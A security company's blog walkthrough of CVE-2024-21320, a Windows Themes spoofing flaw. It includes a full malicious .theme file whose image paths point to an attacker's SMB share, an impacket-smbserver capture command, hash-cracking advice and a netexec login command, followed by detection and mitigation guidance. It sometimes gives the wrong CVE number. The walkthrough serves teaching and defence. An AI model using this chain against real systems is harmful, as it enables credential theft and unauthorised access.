CVE-2024-21320: Windows Themes Spoofing Vulnerability Walkthrough

Introduction

A security researcher, Tomer Peled, has identified a spoofing vulnerability in Microsoft Themes, designated as CVE-2024-21320, with a CVSS score of 6.5. This vulnerability can lead to authentication coercion, where an attacker manipulates a victim into unintentionally sending their credentials, typically NTLM hashes, to the attacker’s server over SMB.

An attacker needs the victim to download a theme file to exploit this flaw. When the user views this file in Windows Explorer, it triggers the automatic sending of Server Message Block (SMB) handshake packets, which include the user’s credentials, to the attacker’s machine.

All versions of Windows are susceptible since Themes are a standard feature of the operating system. Microsoft addressed this issue in their January 2024 Patch Tuesday updates.​

Starting with Windows XP, Microsoft has integrated various personalization options that allow users to customize elements like colors, fonts, and cursor designs. These features are easily accessible: users simply right-click on the desktop, choose “Personalize,” and navigate to “Themes.” Theme files, with the .theme extension, can even be custom-built following the Microsoft Developer Network (MSDN) guidelines.

However, these seemingly harmless customization features can also expose critical security vulnerabilities. A prime example is CVE-2024-21320, which targets the Themes functionality. This vulnerability exploits a lack of validation in certain theme file parameters, allowing attackers to manipulate values within a theme file.

Due to this insufficient validation, attackers can exploit the vulnerability with minimal user interaction. All it takes is for the user to download a malicious theme file. Once the file is opened in Windows Explorer, the exploit is triggered immediately, potentially exposing the system to unauthorized access or data leaks.

This vulnerability highlights the risks that can arise from overlooked or unvalidated components. It reminds users and administrators of the importance of keeping systems updated and practicing caution with downloaded files, even when they appear benign.

Vulnerability

The Windows Theme file format is structured around blocks of parameters, each controlling specific customization features within the Windows environment. This flexible format allows users to set everything from colors to background images. However, this flexibility has also opened the door to potential security risks, as demonstrated by CVE-2023-38146, a vulnerability that affects how these parameters are processed. In this post, let’s look at two key parameters relevant to this vulnerability: BrandImage and Wallpaper.

1. BrandImage Parameter: Located within the [theme] block, the BrandImage parameter is responsible for pointing to an image file that can be displayed as part of the theme branding. While intended to add a custom visual identity, this parameter can also be manipulated to reference malicious files hosted on remote servers, potentially allowing attackers to lure users into triggering unwanted network requests or leaks.

1. Wallpaper Parameter: Found within the [Control Panel\Desktop] block, this parameter specifies the path to the wallpaper image. Like BrandImage, this setting can be modified to load images from external sources. When a theme file contains a malicious or manipulated Wallpaper parameter, it could direct the system to retrieve images from an attacker-controlled server. In some cases, this action might inadvertently prompt the Windows system to send credential hashes over SMB (Server Message Block) to the external server, where the attacker could intercept and exploit them.

Together, these parameters showcase how even harmless-looking settings in a theme file can become vehicles for exploiting vulnerabilities, especially when validation checks are lacking. For CVE-2023-38146, the weakness arises because the system does not fully verify the paths or sources defined in these parameters. Attackers can craft a theme file that activates simply by being viewed in Explorer, making this a highly effective tactic with minimal user interaction.

In Windows, each file is typically associated with a unique thumbnail that hints at its function. These thumbnails may include the product’s logo or an image illustrating its use—like a calculator icon for the Calculator app. For theme files, thumbnails have three main elements: a wallpaper thumbnail (often represented as a black square), an MSstyle file icon (shown as a purple square), and the brand image, which could vary depending on the brand or application theme being represented.

Video Walkthrough

Prerequisites

impacket-smbserver: tool for capturing NTLM hashes (can be installed on Kali Linux or other pen-testing distributions).

Vulnerable Windows Operation System: Check the version

Crafting the Malicious Windows Theme File

A Windows theme file (such as a .theme file) is a straightforward text file that holds settings to define the appearance of the Windows interface. For our proof of concept (PoC), we’ll design this file to link to an external resource managed by an attacker.

To set this up, create a file called malicious.theme and include the following content:

notepad CVE-2024-21320.theme

[Theme]
DisplayName=Test
BrandImage=\\<attacker_ip>\new\marvel.png

; Computer
[CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon]
DefaultValue=C:\System32\imageres.dll,-109

; Documents
[CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\DefaultIcon]
DefaultValue=%SystemRoot%\System32\shell32.dll,-235

; Network
[CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\DefaultIcon]
DefaultValue=%SystemRoot%\System32\imageres.dll,-25

; Recycle Bin
[CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon]
Full=%SystemRoot%\System32\imageres.dll,-54
Empty=%SystemRoot%\System32\imageres.dll,-55

[Control Panel\Cursors]
Arrow=
Help=
AppStarting=
Wait=
NWPen=
No=
SizeNS=
SizeWE=
Crosshair=
IBeam=
SizeNWSE=
SizeNESW=
SizeAll=
UpArrow=
DefaultValue=Windows default

[Control Panel\Desktop]
Wallpaper=\\<attacker_ip>\new\tstark.png
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0

[AppEvents\Schemes\Apps\.Default\.Default]
DefaultValue=%WinDir%\media\ding.wav

[AppEvents\Schemes\Apps\.Default\AppGPFault]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\Maximize]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\MenuCommand]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\MenuPopup]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\Minimize]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\Open]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\RestoreDown]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\RestoreUp]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\RingIn]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\Ringout]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\SystemAsterisk]
DefaultValue=%WinDir%\media\chord.wav

[AppEvents\Schemes\Apps\.Default\SystemDefault]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\SystemExclamation]
DefaultValue=%WinDir%\media\chord.wav

[AppEvents\Schemes\Apps\.Default\SystemExit]
DefaultValue=

[AppEvents\Schemes\Apps\.Default\SystemHand]
DefaultValue=%WinDir%\media\chord.wav

[AppEvents\Schemes\Apps\.Default\SystemQuestion]
DefaultValue=%WinDir%\media\chord.wav

[AppEvents\Schemes\Apps\.Default\SystemStart]
DefaultValue=

[AppEvents\Schemes\Apps\Explorer\EmptyRecycleBin]
DefaultValue=%WinDir%\media\ding.wav

[AppEvents\Schemes\Apps\.Default\Close]
DefaultValue=

[Slideshow]
Interval=1800000
Shuffle=1
ImagesRootPath=%ProgramFiles%\fabrikam\wallpaper
Item0Path=%ProgramFiles%\fabrikam\wallpaper\ocean.jpg
Item1Path=%ProgramFiles%\fabrikam\wallpaper\mountain.jpg
Item2Path=%ProgramFiles%\fabrikam\wallpaper\river.jpg

[boot]
SCRNSAVE.EXE=C:\Users\System32\bubbles.scr

[MasterThemeSelector]
MTSM=DABJDKT
ThemeColorBPP=4

[VisualStyles]
Path=\\192.168.1.1\resources\Themes\Aero\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
ColorizationColor=0x856E3BA1
Transparency=1

We need to replace <attacker_ip> with the IP address of the machine where you’ll capture the NTLM hashes. The Wallpaper parameter is configured to point to a network share hosted on the attacker’s system. When Windows attempts to access this network location, it initiates NTLM authentication, sending the hash in the process.

Set Up the Impacket-Smbserver

We must open a terminal on Kali Linux or any machine with impacket-smbserver installed. Run the below command to begin listening for incoming authentication attempts:

impacket-smbserver new /tmp/public -debug -smb2support

Capture the NTLM Hashes

The impacket-smbserver terminal will display the captured NTLMv2 hash, which can be cracked offline using tools like Hashcat or Jhon.

Cracking the Hash

To crack the NTLMv2 hash obtained using impacket-smbserver, use John the Ripper with a compatible wordlist to compare potential passwords against the hash until a match is found, revealing the plaintext password.

Login using Netexec

To verify the obtained password, you can use netexec with the following command to attempt a login or execute a command remotely:

nxc smb 192.168.115.142 -u hulk -p P@ssw0rd

Conclusion

This blog highlights the unexpected security risks embedded in what might seem like benign Windows customization features. The ability to inject malicious code into Windows theme files, which can coerce a victim’s system into sending NTLM credentials to an attacker, exposes a significant vulnerability within the Windows ecosystem. This exploit serves as a reminder of the importance of cautious file handling, even for seemingly safe formats like themes, and the potential dangers of downloading files from unverified sources.

Microsoft addressed this vulnerability in a recent patch. Staying updated with security patches and following best practices in file security can mitigate risks from such hidden threats. This case emphasizes the critical nature of security in all facets of user experience, including personalization, as attackers continually seek to exploit overlooked features in popular operating systems.

Detections & Mitigations

• Detection
  • Network Traffic Analysis: Monitor for unusual outbound SMB traffic, especially connections to unknown IP addresses, as malicious themes can trigger NTLM credential exchanges with an attacker’s machine.
    • ATT&CK Technique T1048.003: Exfiltration Over Alternative Protocol: SMB
  • File Monitoring: Track changes to .theme files or attempts to download them from untrusted sources. Malicious theme files may exhibit unexpected connections or modifications.
    • ATT&CK Technique T1070.004: Indicator Removal on Host: File Deletion
  • Credential Access Detection: Watch for NTLM hash capture attempts, especially from external sources.
    • ATT&CK Technique T1557.001: Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
• Mitigation
  • Mitigation refers to a setting, common configuration, or general best practice existing in a default state that could reduce the severity of the exploitation of a vulnerability. The following mitigations might apply in your situation:
  • Systems that have disabled NTLM are not affected.
  • Apply the existing group policy to block NTLM hash. With this policy enabled, this issue for a remote SMB location client or server can be mitigated. To enable the policy: Select Computer Configuration > Windows Settings > ** Security Settings** > Local Policies > Security Options. On the right pane, double-click the Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers policy per the options listed below in the Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers documentation.

Credits & References

• Tomer Peled

RBT Security Experts

At RBT Security, we are dedicated to securing organization’s defenses with state-of-the-art offensive cybersecurity services. With a diverse team boasting over 15 years of industry experience, we excel in Red Team Operations, Adversary Emulation, and Purple Team assessments to rigorously test and strengthen your defenses against sophisticated threats. Our expertise extends to comprehensive penetration testing, covering Cloud, Application, Network, Wireless, Social Engineering, and Mobile environments. We prioritize thoroughness and accuracy by employing a manual approach, ensuring that our solutions are not only precise but also tailored to meet the unique needs of your business.